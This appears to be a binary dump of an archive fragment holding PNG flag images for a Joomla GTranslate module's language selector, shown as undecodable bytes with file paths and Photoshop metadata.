�u�97��K�Aキ�K��$w&.�l�1%� ��]�����ff�3c�%c�e`���H��P�>=}鎏�ONN����]v��Ç?�2��_�<��?߿q�KU����^V��/?ww�����=w��*��\_�H����V�g"l2�����mfH&|�fF��!����S��@U��O�C�E
��
��P5��UH�YH�\l*P�����(�@Y��%dEu�EhW�dy�;b��J@���(�ɶU��ۘ���/V�X+��=�{�R:Ӿ�%TtcAy;b�0�,��Ѕ�����J��}���}	��<���^V;q�#�?,Ӈ$��J1-��Z�~ �3,揖�٬d>�!
-��U�n�[0�x_�	���+	�b[6�:��"�<�j�L�l��nc�,e P���%��2����Hw�+&�	u�w|���=�z��o�]��FC�v���u-u�Y&T���=��Y�@��;0/.G�%j�5��)mÛ9��d%��HG/2�,�@����Os:�n�5,D	8�5�0P�$n�� И�7�T{�M䁨y�?����xOU���h}W[����{�i��m+��~���B���BU��hl��x,ܤ'��zBZ���rN�sI�ؾ�*֟7ju(�`��
`hE��	��F��Pt�Ȧ�x�l�dヵƻg����d��WWWkp}s��qB��)�j`~��Y�/�c=�⁉������Z�ħ
���nIEND�B`�mod_gtranslate/tmpl/lang/48/ceb.png000060400000003034150746170550013144 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlTU��.3���pED��@Ԁ$�ƨ!�q���1�P ��C"A�H��&�v�"V!l�mR(��	Zh�t�2�=LJ{��v1P���^��s��mw�R��,�\&L������x@^uuC�=����?8Z;��KK�S\\ĉ���}�1敯�m�77*���ݼ�����n����@�h
�M�p�O)�u��K�:�!@)((� �p�G��@�8��ϱf�R>ϙ3�h��a��4�G�E�z�}���@0;nN��e�(���# ��\:+V,�������)SC(�`�s�*���S&9{DO>����L�
YDK �V�D��������+]]�c�/B�����	�Ge޼��[�4{����r
]w�ic@����KY�38PGuu�&�u=��,92.��ʕ�QX�CU��H�02�4�� *˖3yr�:IWg�te@��,�.�>�lZ����";v���Ԏi���mIr�����
Cf�b�D�� �h��w���ؾ}9��?PSS�8��k�tm*���$0���Q:�@�8s999.6o.����ݻO
p3�Ē�xB���U,������>��u��7���2X���M�*�W?δi�����߇�5�~�������j��
A�;�G����̥���e��?��qS
���\�ѧ�&��gN�B �r�s������:�F�T/�mʿA^b�YTT<O��9x�
|��4D�B r��K�:�6	��A���,л\X�p����@ ȡ��SJΔ
T0|i_C�uS&�&QH�C�6��H���)�`>a[J^qB�T ������S��_�I�BJ)��eBm����P�m�m0cQb���m&���_��pc3›3��,��l���~�΂�#[�[;���m�����U	���=�*�~?"7{�F�N��#�$6,T�(�a�	�,Ц�lu=F-)��^Io�n�i <���4
C�8]�$/��%�H:"��A��$�e;�(���½��@��{�V���!7�i U��5�x�{��LVZ @d��GA��� Z���Hc7�|��<���8�B����`>���֑t�ߊ��Dxs���"�J	��'�?�g�N��D�gB�Y j�@�����~Z��dA�;2�Hl)�`��rsm���l�ǧÌ�B:y@�Q(�2-����xv%��u��<�\�r��<��j��d��]{�Z�:V�
DncM)��0Q�T���ڏ� ܮ�\��a�=���K�k�:u:��(B�¨*$��u��m��ڎ6m��nV���x�d0��������-�p/����%@���4��u<I���O�0 ���Eih%�ѱIEND�B`�mod_gtranslate/tmpl/lang/48/ro.png000060400000001604150746170550013034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F
IDATx��Qn1�?o6M$(���q^y@H\�[��Y8/�+ .�)jKSDbǞ�!�ԻI�v\Z"2R��nl������T�]���=�=���z����%�����O��|����;0�~v��F"ʛ��m�ԯ�_զ��/_F50UR~���k�sM��~堵��������4��ָ�'�fT�7�*�h��{P�(1
1�r��@��5״�N�~�-��+����X����-�u����5��bb������β���n>��h &%�a&�@A7�\7!@3��R%�D,S�iE���������#!�;f@m!�(��Z`ZB��}4�$�3���e�����=������9ҫ �,��0�(!�D�z���F&ޒ��ʬ�W?�<ϲ�!����&>�Clu���lM�B�l�S
��9"���-��w�4ZUQ��dt�dp������Z����I�!r:4��=>jk@��CZ�U���E�RB�>Ǖ�)%��eo*Wg)�B�]]wXldt���R�F�\Ӯ[-����|�U��*.��]N��r2u��&���>��(;Ւ��z�YHM�J��$�^�ŀ^�R��є/dB�)�qQ����[��e��ΘP��ಘ�Mo=O��̹e�P���v���9����P�FB:|`8�v��������k���:8;��.J6D$<^OvL�?�o�����K��S���p��g�+���b�IEND�B`�mod_gtranslate/tmpl/lang/48/el.png000060400000001565150746170550013022 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�P�?�q��I)ji�����, �0!�0ucAbfCl0�!$$�ҝ"ub	��c�1$i��N\�M�DN���ܻw߻w?�mT��r���� �W+hmm�]\��)��-8w��V%�����Ϋ��ǣ[�\`^P���SM�(/M����^p����i�P��[�cT�S�I������$�|!�T!��"�"q�����:�&$�7ֈ!�
L,�(���>9�wD�ځ�t];�X�<��>�����K 
�8�p� �+��{����h�Pl�c�sn&���*�͛Wܓ�H��b�l�!�k��h���^�L@ �+�+=�q�
^�`����y��A�ވ�����(�������a�~@#�c��Ҩ/��/�z��mh�Y�6�T�!Xy�~|��D<�	-B\�NF!�fL���[�&��;m�Ṗ<����i�N�=�WDd��M��8�����QOgkD��ғ�xj&��O�r&t"D�8��Є���V�[f�;�@�*�v��.,�ܖ(�@Or��!�i����?H��d�?����bND��Ô��#AV�u���=�Y(�.���)
Vo��`vvvթ�j��iTD�������B�ā�[�|1��8��
�M��1Go�:D��2���P	�Z7 ��u�����_���
��K�)��b�|^��^m��o�_����
�Ku��FGIEND�B`�mod_gtranslate/tmpl/lang/48/bn.png000060400000002647150746170550013023 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F-IDATx���kU�gfv��&&���~�mj����X�J[A/��Q/�B��T��]/�ɵR���T��R�MR��|���9������d?�
�Ŝ�0sv��s���}g��2��c��.�]�w��:H�a<�7_<�՟���D��‰#/��/�`,���c��@�l3�q�
��nG�js�l��]�Ү]��{F`(P�8�sI��k�ʤ��L���Qʖ53��
E3��u���h��O�XT�@P"g��
�|"�\`E�\L����'�`��LV�r���F����MRG讽���,*���D6�N�Sj}(Zx�r|Qط��L�D
T=X,�z���Il��K�!���E6�K�!�.��@V�>]VN_u<����p����‘ex�o�0�seҀ�w������GT�tH��|~�Qt�Q�G�a��?��.��/�,�o��'�.ǀ�
	�`z>Y��6�H�������լ�q�~�`�Q�����Ky*��h�����G���=���u������D�J܅��sE8��X/&+ߏQ���Mx�Ϙ/��}I�7�c@�6���H޸:E��f7^�	��3���7q"�*��r����K��}�X����q�n��mǍ罜U�Ÿ*������F�A�����;sI3�<��`�2�l�1^�K�:�S�9v�%��0��Q����\�&~����W\�Ȋ�
;ĀV�m�A��y�<���[���bDA:�s�Ԝ�����L;:S�t�i�����j�U�yqwˊ��Ih�g����ʕ�
b�����2�����0�|��'i��m�[�2\���J��Ο6�+PX����"5<��H��O�����ǐ�$��-�ڽtx�ޗ#�i�;�.鿧_Z/�2��@�,(b��/x��F"m[�[.��'�ܬ�d'�/�M�3����H�N�R
��'n�p��O�YU)Ye3����,�V[�K��Ԭ�d��4l�Q�|E�rm>x3��0������y+��C���qZ��������=;&���彆3�
�p�c$��8q���O�@�?�x��.0h�3�L:�u�]ς�O���w2��M��UavIx2T��_{�R2�>e�0�3w�C| �_�e�UŘm�'6	��z�M{L�+�`<T<`�h�5
�#&���Hadޛ6u�d��R��K4��.�;�js��l;@|���M�3��n����W�AM�k��
�'g���1`j�&��aH>/���AJ!�fv�����౦���*|aPIEND�B`�mod_gtranslate/tmpl/lang/48/lv.png000060400000001443150746170550013036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�@����J�ZZA%��\z�	�}-އ'@*����j������&k'-EH�����gwg��z珝��r�H��F�;��h''{������v��ggW)>���_�����4)翜�s��n���b",���7�O4�r��=��^��e+Yo]jO`f��
��̌rԸ�I�*ڶh�zE�'�n���ˠ�p�H��
���x�9�������#��TS� �6
�\n�A����U��Z�3Y@�h�$�_����%��(�u)$h]? N�d����Dx9aZ�RU�b�F�0��"|Z�X��k��� e	"��e�#жIE��9ڶ4����"U�N��s@���C�*�R�DV��+3��d)���ЌF��?��P�s�
�wGGXUm�k-���D��/*����'����i.`7�q�l��l�#������܂͡kJjjhpp�[X�`�'kФ�B]+R"��պ�M#��"�+ �l�7ܻ�_��`�l6;,U�s��Z��Q�|��z��m��"'�qb;ַ��q�j���e��X�?�md�g�f�?���P�^�޶Z��Im���?�ҨB���l
 ��5��PJ�B��͒K�������<�jZp��s�+���?/ͺ>�Vs7~��F�}+[�u�P��IEND�B`�mod_gtranslate/tmpl/lang/48/ja.png000060400000002000150746170550012775 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OhU�?owvgw3ۤkZ�n)MI]MmhioB�^
^�^ڣ���ՃQ�**�^E��x1�R��*�!�b�����d��lfޯ��m6kD33�28?�1oo�}g~���)!ʒ ����J�$`ɨ=:�k��b�6�M"2ŷxK�`荪�\�c9���'�����bAi4��ƹ�++37X�6
R;v�*>@򾭨dxl�*��,��o����,�.դ��}st�̡��[CYoW
S�Ed:�d��>gᣏAk�G����&
z�����PJ
 Z3���/�[����H?V���W ��y�.��{ؓ�7���y�Mǎ�^�^��@�2}��x����ٳ���1y�,���;H���]�=��S�Tgԧ�`�<��?k��5�-R�\f��/�v��,��b/���ũ.��B��.�+W;��.��CG�s�z�s���"�W-U�,�৸�/y�UT����ƿ�g�ѼQ��́	�Qd-��w�q��ޒo���Y��hi\����k'�`�Jd��uޅT:M߉q<Wh7V�C{��'_)���F��g��z����6���-m��Z���9BϓO�㮦
��B�gN��G�ED�[���^�91���o�'�&�|�?����>|�'�/>�p�%@����?�������^fۗ�P�l���ͪ`Y#7o�1��Iկ/�x�C�_M��mMdl${��Ǐ�ٿ/�Z�*�\nȘ�T��9��c��P�*c_�g�(���d�>�Y�C�/�:Z�f�^ZZ��,+RՈJ�B>�
�Bݔ��,���2Ah�땹����������F�-3�w�E�| O��	l`I�'�1�@��rgÍ1(5IEND�B`�mod_gtranslate/tmpl/lang/48/hmn.png000060400000002047150746170550013200 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�T�?���e����N� !D��:��hQ*$Z��)�E�
���@EC��$ĝ"Q�t�\.{�����1Ca;�:��!�
;��~��w�����U���pYX��0@t�}�$Yl���ۇM|����r+�*J�ΫW��5�	�[���Ͽ���*H@���j������y���[Bo�3�&!�רT�7s<O.3O���Y��IT�bTC�y����xp���@
���שk��g�g��3g�-��<�!�HE�Cݩ/�5e�
˳O��uUd�o ����ޠr�K��ϛ3��8�U���AS�0]O�a�S��dr�����2���{��ٿ �\�s��%�[6vQ_Q��}Ͳvdh�k�gSG8P���䡸o�l�b
����>�ގ�������F��h�.��d��R"�f�Ɓ�,Em�߃��@�E{����u�c{�[Y^լ�@��et�d�p�C����7��:�sBW1�2�x��nA��,�M��}��v�o(�`v�dnn��q�a�{�x�	���dY�߇�o9ayxG�rN�*J���ܮ��"Ss��I���KV�7�hS��A�a�����Uh�ė����)O����B�P���GW�e+��o�~����Dޣ�jJ�}C�4pb��f���f��n���C��U���+��K��a��"�t
��
������2���zuU���~�q�%g�7��}�s�͛5�9�#A��B!�X�@/���V�J��}Z�@��Ϧ�@�&���4�S-RDQ�"��\t�0�1�S�R��5���Q������
`��e.$�닖:7�� U�	8��JI٩�F4P�n/�
S�	pߐ^�(�M��՗����k���;�O�&�IEND�B`�mod_gtranslate/tmpl/lang/48/st.png000060400000003645150746170550013051 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:8F92AA36909B11E09874B1C8E553E1A0" xmpMM:InstanceID="xmp.iid:8F92AA35909B11E09874B1C8E553E1A0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:72BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�vQ]�IDATx��YAOA~��v�&-�"%��KKѤ��Q%�z�l�`��7L��`/�!j"��D%5p�@Fi������nۅ�-t�����tvf�oޛ7�f�d&$�>�>��CV�5���L��E��,}�q��=�'nW.�H����.@�p33��C]4�77�X�7=W��n�~'�s���ۼ�����l5�x���%����ے�qMltU�jM��]��D0g,�Q�5S�[�V_��a�?�/��m�
���nA�pz⿨�6};mk��QO��-V��[R�?�j��麉
�PW�`�j5�3��H'�:�� ҕtn@��p�,�}L��r!�W�F��t"4�t2���s08��O�� ]E�k��`[��L�|�MmA:������� �&|�2���sx:�D����M�u�'rz`oovvv���h�W
���attT��t�\�������MϤ������ �@ ��gҸP4EQ`aa��*�R)���red�B���`ss�JO�
��������xvv�k1�Yd�v^���G�P����E��X�q��Q“A�<���䚦q-�����l��r9Od��a(#vb�0�U����R���Ԕ�<�D�Ţ�@���"��밵����L&����yB9�B��B� <z��X�K��~�5���(�"nl�~����u-�4�B��~�gQa��+�����K4K�A*����4\�zsy@�D�g�d�.X*��Y��4�ʐҜ-�C�o�d�+"�*�|�R��pd�NJ~������d�vR��U��ʩS쳤�ݛYE�]L�+Z\�����G	J��](�U�t��$�����n~�,@wt�
�;tD�a�\��xT�v�I~�@�"��L��;@��"N)��qX�K}@@����WY z&IEND�B`�mod_gtranslate/tmpl/lang/48/gu.png000060400000002174150746170550013032 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/so.png000060400000002235150746170550013036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F#IDATx��=lU�ow�}�/ۉ/�Hd��ABH���� ��h(鐠J���
�
$P
RB"JA��!#BL����Fvb��l�y��������پ�-�7�����of޼�U"B��"�����H��q"
��/y���'{ %"����'��R�m`3�^K���Wu�������yȡ��`L�Y$4}AP%����H*�򿒊���e�ǔO�{m��	�0Z�6��J�Vv�ރ��mQZ�2��טXؿ�
&�����t�	���
��+&;6��}��uq�-��2!��u�+5������k��*lB�ۮ���3���ËO��^̰U�val�;�?��GR]ؖ���In�G��#�m��+�j��`7����q'ړ�R�6q��4��f�h�y�>~�������̍��>�i\�9]�v\��Kb���d:���}\/*��8��oLx*�F���7_z�6�F����#�;;R%���i�.e�������}@7h>+�J&�ť,o�z����SǞ����gW�X^�<�Nd[a
����\��/&x��^yfh_�����kw���ζ�v��@��3|��,3�y��Qz��U<[�^���|&/0�H�
Q�f��ܚVsn/�U!͔4hh1XJ!Bc����ݤ{�5L�&9�ߵ���ถRh	0&0�FZ�$�N��<�'�N����9���u�P>�����k)ų����2�_�Ev���2�_8��g���\�v�i�.{�m���:L��������=�?���tu���<��c�f���Y�s�[���v����^g�潚��^�ݏ�>���XE2A
l�2	o�斲,�����&sKNS�-H�A���c��%�V�dT���U���{����L��
��
9��D���
RG}A��#M>�v22����r�BAWL0��7SH��b����*�F�<N�۱�P�Q�zf��V�`��䗁_��Kݥk��dU�O}@@��J�ӥ���IEND�B`�mod_gtranslate/tmpl/lang/48/no.png000060400000001647150746170550013037 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F-IDATx�왽nA���]�I,@ !Q$BBBT(�@G4�
�<O��@B�H4� Ȗ	�o�R��Y�wm��Y�+Y��윙3��;wv��Pes��-,�����Z%�@�+?��k��\}��[^EQ_ۛǷغ{�μ|~�ZbG67�6��'ֺ���q}�����#@�K�� Zc�ݤ5��)�w/��N���vi�R�9�V����&��bY�L[$�1��Ǻ�/���d���>Stk�
	c�(Br�<ʢ���lL�$K@���KN�KV��F�|�8xE*���0�t�<1���A�ͱ\[,+B��](�e�x>.��% ZC�CX�C�Ų�z-�s6�� �Tr���\HjA�{b���?0l�l̸�_��G�T��b+�_�s��M���
�}�z��J��T�qS�4�X����:ܯ�x2�s@Z�x�5M�Jj��G����"p�ь�`*�~Hgw�W�Q7�A���l6g�B�^Y�Zq��}��AR�΄�1�uדZhB�9^�|�t7������L�.���(�_O_�X�~�Qϩz
��P�@��FJ�!�c����s��9&0Ж2�̹�F�A���$.$}�I�mT�Q�����
ʱw�ܪɬD�H�H)��gNQ���hz"3ɋE�Uk4��{�,R��崳[J���鰘R����>0O�<U!�R���B�4�fgi�
g�X��[\�b�����;�t:low	rY������V�*p8U�8�|V$����k�,v��K�������\��a*�n�|70IEND�B`�mod_gtranslate/tmpl/lang/48/id.png000060400000001146150746170550013011 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n1@�l��HI+5BH#!��
�-�y���;B�8@����k�p؍��)H�
�H���Yk�g��bfx�
�2�;@�0F^�^�N�b�z�\.c���;��8�g�?���q�+�����$SLAzuݶ����m���}������ѩN���+S����gg�̐��C�{��w���<���9Xι��a)cM���>8(�?���4�k�$�oM-}�R�R� %(���E���1a��3m=P
k,E'c(��
u�
,F,:�8bZ��&U����N<0AQ�6i����T�|�
YQ��j�`��p�
!r7����F�R�z9c9�ڍJ]8�K3���< "���3�ǟ[;��!�(ڝ�����,�����;\����"����v��/��ChHd�#Ch��9��p4E��G��π�ԙ�߀OB{�4�ޞ$n��`���s�L��(fIEND�B`�mod_gtranslate/tmpl/lang/48/de.png000060400000001450150746170550013003 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왽n�0��/����q��:��!C� /�w��Rd/�mRb���:P��8��t��IGE�y<���H�2�=�=��@!"90�T&}vvT�F_����F��7)����ۇ8
!p~~���///��}��!T��x@ws�b{&����
�df�d���KOt�C�r���{k�33���	������{���C�e>&�tζ��2�hy�:��0A����&����#��Xщ��s�f�$��9G0]�8�p�%��3K��Q��J�4O��m���m+?��nPU>���)u]'���,QU~Ψ{h�&	UU��T�*�N�}R���=�΅�k8 �֤��I�8�Bx��kl��	��vèW�}�5�2ؚLA6D��B���Y�H׹����NlA��m2���$[�+�H�PTYv%ܤu$�ߌ�>`!���i/U���ЋB�H�c�y`�h�){�)��|)
l@LKw��g��Զr��`��:�m��ۏ����JY�3WC�h��xYag^�3''��B��O�R�8����󦗛>�
�����2��ɢ�S���y��XYLȄڪDDuHBY���J\:X��$`nB��E"�
�3��`@�3�� ��3�mb�������5�D����^��gl�ѡW�IEND�B`�mod_gtranslate/tmpl/lang/48/zu.png000060400000004057150746170550013057 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pU���}�
!J�i��L;!�q�X@���PA�-�vPa2JhGjqtJ"�����P[J�H��th�@I	�{s_g��?���M�y؆�4kf�9s�:���^k��Zkng2�ͩ@;��w0���v"	�- ��	U1�I���&���)P���%���j�-��ۦ?}�R��<�=�Z	
�����d���tY��G����+��wG	@��+��Rr�}%<oec�˟�r��}p�N�����xv�K��
�Z�0�i
B��nl�Qr�h�����4@����Q���qt��5^7��[Nga�������#���ի,�"�Ltx�hPu/�Ņ���-%��j(���`��6\���m��p�Ic����9T(;�
����ĸ�x'hB�ҁh���G����셯�,fstHHH䉇��~9�6l��f@7�
}J
��}t߶%��#���g�f�C'4�-D�V���A1�{��ܻ_��s�R�u��@��M �6�5�4��ԂR=#q�D�&�Dq��>u��?@����+�9R�Y�9�BUT����"H�{�:W�D��>
��JS�+s�x�7x,�8����"��[�^d��)5���	 �Ӧ,LYYI��/Cz��1�ĖO<�tpr��Lʼn��r�5!�`4^�������3�I:~���� ��c
TU%�ˋ�?''�Xzz:n��Q#��������M����Ц���۶����ȝ�Gz���ɭ4l�3��HLD����=��?p�c]�t���6"�+]�B�I�=�<,(�_�+p�b��$�tbΓ��0�ް/on�_��B�t���:������m gÌ��~b���6�V`j0E�+�C��4�����\\�TshMiȍ:�����?�ua]�i
���R�r-�O7�[��z��j�ac��ȴ���
"t(=ᷡ{��L��������!}��H��55M"޺����\���
d�[
�>���u*��5��b�V@�qf}$���8[��qcL̳HM����>Ѹ�7>1�M���G3#���jՇ�CN�ʹ�
�>a��A�?�֥ _��jzs��t�7!�qPJ�8d���ůٌ����q����Ge(�h�R��P: ����#�L����#X�g���*��]����FJ��a8�s�WIM��K��3M�T�ԗ�m���cN,�lX �Q]�i!=������2XYd��m���+4��IH{5�Ɓӑ�B��HrZW��V�腉^ �F�V�r��xu���1x�uX��
�
	u����aZ���x���_���8ض�(E��E�c&���?{Cq䤂�*�������/�[��_�����…[X�jwۺP��4�7�R(�7�`�2��w,Z�p�!v�� ��hG2u܏X����'F�^Ξ=�p�l��۶RS�^H)ɢ_�1{����`��i�B$��::�LjXwt�Nќ�|���g��o���OrrB$QmӮ�T�>x�ⱉ�:��Ps⬂Ħ<q�S%�dȽ�x�5��ܗ����|y	�m��x]D�I��3��5��%��(+����-�ϋ���3��ͭ\8n3xHK��岱,j�9�e
<�<:���g��-?}32Y����W����­H�HNv]����i�="IH|-����Me��K�\.;�7l�II.��n\�m�P5K�>:uJ��_3�᩼W���6r�������R�h�4������+���Ì�X�n��;�s�I�p�y��I
s���N�y��/1���u�)yK)+�D׮Ɉ�ל�ϋ��TW7jJ�3�(|����l��}Ȫջ�RoSS�%9����Nh.�E�x)���F~�F��Էh���^����IEND�B`�mod_gtranslate/tmpl/lang/48/uk.png000060400000001341150746170550013031 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FgIDATx��kjA�5���Ĉr����<�w�
B��A<�H�Fpwf����3c���$)�2��ף��[ܝ�T��w����J��7�F���/���x|j��>����Ԝo��ܹ�H���"ls}�>��[�-���w���(̝d��5����q�v^��۶v�Ȧ�w�����_�{}���k*J7�N�Zmĕ�S��A�T�9.���]&ꦨV�-�ܩը�B��F�I��:)�@�N��V�k5�@h���X�c8.���n�R�J:���Վ�5���I�����g�����K�a��Juro�IS{(A�6`�je�� �m�Y�*���œ�1�'��wj=��0gYU�c�]H93�jU�	䪤M�I ��!�c��g�5Z��t�0箋4����E��Կ?��_�% ��5��"D��r�5�"��X�)����$��t�T����Q�Rڀ5�H��h���!�F?�"����
Y��À�<h�U�n@�_�b������}+K-�3	�T�.��ԟ�S���C��W$�x<
��/�{a�t�|#Q���K�����ү?�~n���+IEND�B`�mod_gtranslate/tmpl/lang/48/ku.png000060400000002461150746170550013035 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�X[oUU�/ �(^1Q5ޢ�ѐ��x�xy�h$FM ��(��/�d4�/��`��9���R��B)(�\z��J�Ì�̬Cw�Yi���d}ɴ3��^kf��Y��<f���ʘȫ���ʘȫ���ʘȫ���ʘH�D��u�&3w��}�qlp�C�yP_�|�?d<@]o9Ρw�c�b�v�ʳNz>a��	x�r���?�;AG�(��)��8@������2�q�R�Zdؠ����"�����C���0|ׄ��0z>�p3��.�O�`>�f�{��;����w�t���
S�2�g*RyS�c�'~4�}���SL�����.��'�}��A���	aȷXq�|MCH@]o3m8���L.�զ���ڽ�0m���������qeLC�&��;�h��L�����(�J/dj^b���M���B}�Ǐ����g�xEF�As �g�8�
b����^$����Yh������L�b��yfFv���{_f>�
��W�v=[kdj{�㤖0(iie
,��!$���iFHX�?o�6p&�P��o��C�q��n�0���v�5\]k\m�%�=�͸8����7��}V�7��k"{����a>�����[1�>?����!�ϑ�+���gTn�x�(
��)��vώ|!49�1+�)�.���p�Qכ���n�p�s�t�U�MW���J�˭�
5��Ñ�Y����D���В��rS�aY��F|��#r�R�����́ɓ�I�X�v-������o@���Ʃ� �X2�<��͂|!$�&M���L8Uߗ���k7`>�;@��/�)��l��q�Sy$ݫ�Aγ ��;Wi�?FG�5���p�h��$m�Goi�s�W���Zq�\�|��ts@��$ S�
�蓚|��RV[1�����U�L`Ǟ��|I"=~���Fw>�a���OW����8e�9����Y��B�Xi� �G��L�����ޗ��7�^B���Sr�����&���Mjz���nC�m����(/��ۙ1NM�B�Xui*�NG�J@���Jj��M�)��*䷡��N(��8�?�L]�RUˢ\zDN"��]�ǁt"�����\0q���i�c�@�φ�q��85y�1�Wy�1�Wy�1�Wy����$]ާz�:IEND�B`�mod_gtranslate/tmpl/lang/48/kn.png000060400000002174150746170550013027 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/en-ca.png000060400000002714150746170550013402 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FRIDATx��]h\E�s��W�t���T�� ��T�l�Ҋ�,��"}��j� "��\��~�?@���P1���K����&���{���v��&M�6��`3�ޙ9�?3��9�*a1��"�%K����L�^Ld�V�?2Rhg�ۣ]����G���7�] /V�޹�/if��}��~Ȼ@�`
vb2��ܔj�E��;L�P�~��
�q�Zè��Y)���jw���8�Y�a��tA���3'm��J���w����`�j�T�ή��R:��K�_�X`� @�jg�tit>�L���%�Ď���A�4���HP%�o$�`I��A����VB�5(�x��|"�x�ATO� Ơ\�
��RP;�Nd���e.�8��Pd���� �=��t��ã�l��#M:`,�y���P��?Ϲ�#�l���}��_�ݶ���H�Z7�&D*,@z�&�ǎ�b�Jd"CR7�=8)�6+��x�wu�T	�'Z�Z�)W�4ߨ�y�n^�e�g}'�k�'!�B���t �ϟG*�M7���x�T:E�SO�o��U����W!uۭ����z�Y��88:�Tj�=`�&������K	�Nா���l�#�e�ܞݨT�_#�r]t>O�cL���e	N��\,�b��%�B�ʉ�&?d�H��>�}��P�Q�˿O��Pb�~�䘩t��/�L飣�L	
��!�2���W��p��y�Ŗ8gn�'�ic佶�x�0*��ի�|}�I#�r�m��}3(Ֆ��?v��+�幥�+��~
��H�a�q�R3�9��?�/�'C܌Zk�c���/�%3<��.TQ)�*�BJ�ٺ�wy[2X���Ei'� IQ��۹�_q�e�J%����RA���㿐۹#:�	�+��w��Z�h��Fo�������qz�ރ�������#��)zv������k����X_������9�@B���Fo��ŏS&���b��!���c�=�FX��{���t.b}������v$?��%��g�n8Z�22=]���4]&���8ά�n�b���""�w�3��ٽ���
